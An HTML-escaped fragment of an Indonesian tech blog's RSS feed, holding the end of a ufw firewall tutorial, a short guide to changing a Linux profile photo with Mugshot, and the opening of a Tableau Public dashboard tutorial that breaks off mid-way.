&lt;/span&gt;&lt;/span&gt;&lt;span&gt;Kerberos Full&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Kerberos KDC&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Kerberos Password&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;LDAP&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;LDAPS&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;LPD&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;MSN&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;MSN SSL&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Mail submission&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;NFS&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;POP3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;POP3S&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;PeopleNearby&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;SMTP&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;SSH&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Socks&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Telnet&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Transmission&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Transparent Proxy&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;VNC&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;WWW&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;WWW Cache&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;WWW Full&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;WWW Secure&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;36&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;XMPP&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;37&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Yahoo&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;38&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;qBittorrent&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;39&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;svnserve&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Port&lt;a href=&quot;#port-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Port tertentu di komputer kita juga dapat dibuka izin aksesnya dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ufw&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;allow&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;21&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Output:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Rule added&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Rule added (v6)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Dengan perintah ini, kita memberikan izin kepada siapapun untuk dapat mengakses port &lt;strong&gt;21&lt;/strong&gt; di komputer kita.&lt;/p&gt;&lt;p&gt;Status:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Status: active&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;To                         Action      From&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;--                         ------      ----&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Anywhere                   ALLOW       192.168.0.101&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Anywhere                   ALLOW       192.168.0.0/24&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Anywhere on enp0s3         ALLOW       Anywhere&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;22                         ALLOW       Anywhere&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;21                         ALLOW       Anywhere&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Anywhere (v6) on enp0s3    ALLOW       Anywhere (v6)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;22 (v6)                    ALLOW       Anywhere (v6)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;21 (v6)                    ALLOW       Anywhere (v6)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Help&lt;a href=&quot;#help&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Seperti &lt;em&gt;tools&lt;/em&gt; CLI yang lainnya, jika kita bingung bagaimana cara menggunakan &lt;code&gt;ufw&lt;/code&gt; atau perintah apa saja yang tersedia di &lt;code&gt;ufw&lt;/code&gt;, kita bisa gunakan perintah berikut untuk mencari bantuan:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ufw&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--help&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ufw&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-h&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.merriam-webster.com/dictionary/firewall&quot; target=&quot;_blank&quot;&gt;https://www.merriam-webster.com/dictionary/firewall&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.kaspersky.com/resource-center/definitions/firewall&quot; target=&quot;_blank&quot;&gt;https://www.kaspersky.com/resource-center/definitions/firewall&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.digitalocean.com/community/tutorials/ufw-essentials-common-firewall-rules-and-commands#block-an-ip-address&quot; target=&quot;_blank&quot;&gt;https://www.digitalocean.com/community/tutorials/ufw-essentials-common-firewall-rules-and-commands#block-an-ip-address&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Mugshot to Change Your User Profile Photo</title><link>https://shangdi.github.io/posts/tech/mugshot/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/mugshot/</guid><description>Mugshot, a simple program to change personal user details such as photo profile.</description><pubDate>Sun, 12 Jan 2025 10:51:06 GMT</pubDate><content:encoded>&lt;p&gt;Merujuk ke &lt;em&gt;repository official&lt;/em&gt;-nya gi &lt;a href=&quot;https://github.com/bluesabre/mugshot&quot; target=&quot;_blank&quot;&gt;Github&lt;/a&gt;, &lt;strong&gt;Mugshot&lt;/strong&gt; adalah sebuah program linux yang didesain untuk meng-&lt;em&gt;update&lt;/em&gt; user personal profile di sistem linux kita, salah satunya yang juga akan saya demonstrasikan di artikel ini adalah meng-&lt;em&gt;update&lt;/em&gt; foto profil.&lt;/p&gt;
&lt;p&gt;Fyi, saya men-demonstrasikan tutorial ini di &lt;strong&gt;Arch linux&lt;/strong&gt; dengan Desktop Environment XFCE.&lt;/p&gt;
&lt;section&gt;&lt;h2&gt;Instalasi&lt;a href=&quot;#instalasi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Untuk meng-&lt;em&gt;install&lt;/em&gt; mugshot cukup standar, kita dapat menggunakan &lt;em&gt;package manager&lt;/em&gt; yang ada di masing-masing distro:&lt;/p&gt;




















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install mugshot&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo yay -Sy mugshot&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install mugshot&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Catatan:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;em&gt;Package&lt;/em&gt; mugshot di Archlinux tidak tersedia di repositori utama, jadi harus di-install dari AUR.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Package&lt;/em&gt; mugshot di Fedora juga tidak tersedia di repositori utama, jadi salah satu cara instalasinya melalui flatpak.&lt;/li&gt;
&lt;/ol&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Penggunaan&lt;a href=&quot;#penggunaan&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;Buka program mugshot, bisa dari &lt;em&gt;application launcher&lt;/em&gt;, atau via terminal.&lt;/li&gt;
&lt;li&gt;Klik bagian foto, klik &lt;strong&gt;Browse&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Pilih file gambar yang ingin dijadikan foto profil.&lt;/li&gt;
&lt;li&gt;Pilih Apply untuk menyelesaikan.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Sekian.&lt;br /&gt;
Sampai jumpa di artikel saya yang lain!&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;Btw, artikel ini dibuat via &lt;strong&gt;Archlinux&lt;/strong&gt; XFCE dengan tema OSX.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;3840&quot; height=&quot;2160&quot; src=&quot;/_astro/ss2.DYql7Ei6_Z23L9Wd.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;</content:encoded></item><item><title>Tableau Public Basics: Creating A Simple Dashboard</title><link>https://shangdi.github.io/posts/tech/tableau-basics/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/tableau-basics/</guid><description>Creating a dashboard is no longer that difficult. You are always able to create dashboard using Tableau Public. Here is the step by step of it.</description><pubDate>Tue, 19 Nov 2024 09:28:36 GMT</pubDate><content:encoded>&lt;p&gt;Kali ini, kita akan belajar cara membuat &lt;strong&gt;“&lt;em&gt;executive dashboard&lt;/em&gt;”&lt;/strong&gt; di Tableau. Tapi, sebelum itu, kita terlebih dahulu akan berkenalan dengan 2 istilah, yaitu &lt;strong&gt;dashboard&lt;/strong&gt; &amp;amp; &lt;strong&gt;tableau&lt;/strong&gt;.&lt;/p&gt;
&lt;section&gt;&lt;h2&gt;Apa itu Dashboard?&lt;a href=&quot;#apa-itu-dashboard&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Dalam &lt;em&gt;data analytics&lt;/em&gt;, dashboard adalah visualisasi data yang menyajikan data yang komprehensif sehingga memudahkan penggunanya untuk membaca dan menganalisisnya dengan cepat.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; Jadi, fungsi utama dashboard / executive dashboard pada dasarnya adalah untuk “merangkum” data-data penting yang dibutuhkan ke dalam satu tampilan visualisasi saja. Dengan demikian, dashboard tersebut memudahkan penggunanya untuk membaca, menganalisis, menggali &lt;em&gt;insight&lt;/em&gt;, dan pada akhirnya membuat keputusan.&lt;/p&gt;&lt;p&gt;Berikut adalah contoh dashboard &lt;strong&gt;“World Happiness Report 2024”&lt;/strong&gt; yang menunjukkan negara paling bahagia berdasarkan tiga parameter, yaitu &lt;em&gt;&lt;strong&gt;healthy life expectancy&lt;/strong&gt;&lt;/em&gt;, &lt;em&gt;&lt;strong&gt;gdp per capita&lt;/strong&gt;&lt;/em&gt;, dan &lt;em&gt;&lt;strong&gt;generosity&lt;/strong&gt;&lt;/em&gt;.&lt;/p&gt;&lt;div&gt;&lt;a href=&quot;#&quot;&gt;&lt;img alt=&quot;World Happiness Report 2024 &quot; src=&quot;https://public.tableau.com/static/images/Wo/WorldHappinessReport_17330268109590/Dashboard1/1_rss.png&quot; /&gt;&lt;/a&gt;   &lt;/div&gt;                &lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;br /&gt;
Fyi, artikel ini akan men-demo-kan cara membuat dashboard tersebut via Tableau.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Contoh dashboard lain:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://public.tableau.com/app/discover&quot; target=&quot;_blank&quot;&gt;https://public.tableau.com/app/discover&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Apa itu Tableau?&lt;a href=&quot;#apa-itu-tableau&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Tableau adalah &lt;em&gt;platform&lt;/em&gt;, &lt;em&gt;software&lt;/em&gt;, atau &lt;em&gt;tool&lt;/em&gt; yang digunakan untuk membuat analisis dan visualisasi data. Sebetulnya, alat untuk membuat analisis dan visualisasi data ada banyak, misalnya seperti Power BI, Google Charts, dan lain sebagainya. Tapi, Tableau adalah salah satu yang terbaik diantaranya. Tableau punya software gratis dan berbayar. Nah, diantara versi gratis yang dapat digunakan ada &lt;strong&gt;tableau desktop&lt;/strong&gt;, &lt;strong&gt;tableau server &amp;amp; online&lt;/strong&gt;, dan &lt;strong&gt;tableau public&lt;/strong&gt;. Kita akan menggunakan tableau public untuk membuat dashboard dalam tutorial ini.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Cara Membuat Dashboard dengan Tableau&lt;a href=&quot;#cara-membuat-dashboard-dengan-tableau&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;Mengunduh dan Meng-&lt;em&gt;install&lt;/em&gt; Tableau&lt;a href=&quot;#mengunduh-dan-meng-install-tableau&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sebelum mengunduh tableau public, kita perlu membuat akun tableau terlebih dahulu di sini:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://public.tableau.com/public/apis/auth/signup&quot; target=&quot;_blank&quot;&gt;https://public.tableau.com/public/apis/auth/signup&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Setelah itu, &lt;em&gt;sofrware&lt;/em&gt;-nya bisa diunduh di tautan berikut:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.tableau.com/products/public/download&quot; target=&quot;_blank&quot;&gt;https://www.tableau.com/products/public/download&lt;/a&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;br /&gt;
Software Tableau hanya kompatibel dengan sistem operasi Windows dan Mac saja. Jadi, tidak ada versi Linux-nya. Bagi pengguna Linux, alternatifnya adalah dengan menggunakan Tableau versi online.&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Mengunduh Dataset&lt;a href=&quot;#mengunduh-dataset&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Dataset yang akan digunakan dalam tutorial ini adalah dataset &lt;strong&gt;World Happiness Report 2024&lt;/strong&gt; dari &lt;a href=&quot;https://www.kaggle.com/&quot; target=&quot;_blank&quot;&gt;Kaggle&lt;/a&gt; berikut ini:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.kaggle.com/datasets/jainaru/world-happiness-report-2024-yearly-updated&quot; target=&quot;_blank&quot;&gt;https://www.kaggle.com/datasets/jainaru/world-happiness-report-2024-yearly-updated&lt;/a&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Note:&lt;br /&gt;
Kita perlu login dulu ke Kaggle untuk bisa mengunduh dataset tersebut.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Untuk memudahkan pengunduhan, pilih &lt;strong&gt;“Download dataset as zip”&lt;/strong&gt;. Setelah terunduh, silakan di-&lt;em&gt;extract&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;483&quot; height=&quot;435&quot; src=&quot;/_astro/ss1.L64olkrH_Z1V0Svh.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Meng-input Dataset ke Tableau&lt;a href=&quot;#meng-input-dataset-ke-tableau&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Setelah selesai mengunduh dataset, extract file &lt;strong&gt;&lt;code&gt;.csv&lt;/code&gt;&lt;/strong&gt;-nya, ada 2 file di sana, pilih file &lt;strong&gt;“World-happiness-report-updated_2024.csv”&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;extract dataset&quot; loading=&quot;lazy&quot; width=&quot;734&quot; height=&quot;318&quot; src=&quot;/_astro/ss3.cftYNwBX_10Tn1z.webp&quot; /&gt;&lt;figcaption&gt;extract dataset&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Kemudian upload dataset-nya ke Tableau.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;upload dataset to Tableau&quot; loading=&quot;lazy&quot; width=&quot;1338&quot; height=&quot;751&quot; src=&quot;/_astro/ss2.gnb6HcxS_1y254I.webp&quot; /&gt;&lt;figcaption&gt;upload dataset to Tableau&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Tampilan awalnya kira-kira akan seperti ini, tapi kita hanya perlu berpindah ke &lt;strong&gt;Sheet 1&lt;/strong&gt; dengan mengklik bagian &lt;em&gt;sheet&lt;/em&gt; tersebut di sebelah bawah kiri, dan akan muncul &lt;em&gt;pop-up&lt;/em&gt; &lt;em&gt;loading&lt;/em&gt; seperti ini:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;go to sheet 1&quot; loading=&quot;lazy&quot; width=&quot;1333&quot; height=&quot;739&quot; src=&quot;/_astro/ss4.dHRlNeV7_Zsq1XX.webp&quot; /&gt;&lt;figcaption&gt;go to sheet 1&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Tunggu beberapa saat hingga terlihat tampilan &lt;em&gt;Worksheet&lt;/em&gt; dari Tableau seperti berikut:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Tableau workspace&quot; loading=&quot;lazy&quot; width=&quot;1337&quot; height=&quot;741&quot; src=&quot;/_astro/ss5.CiPtYH56_Z18xBjk.webp&quot; /&gt;&lt;figcaption&gt;Tableau 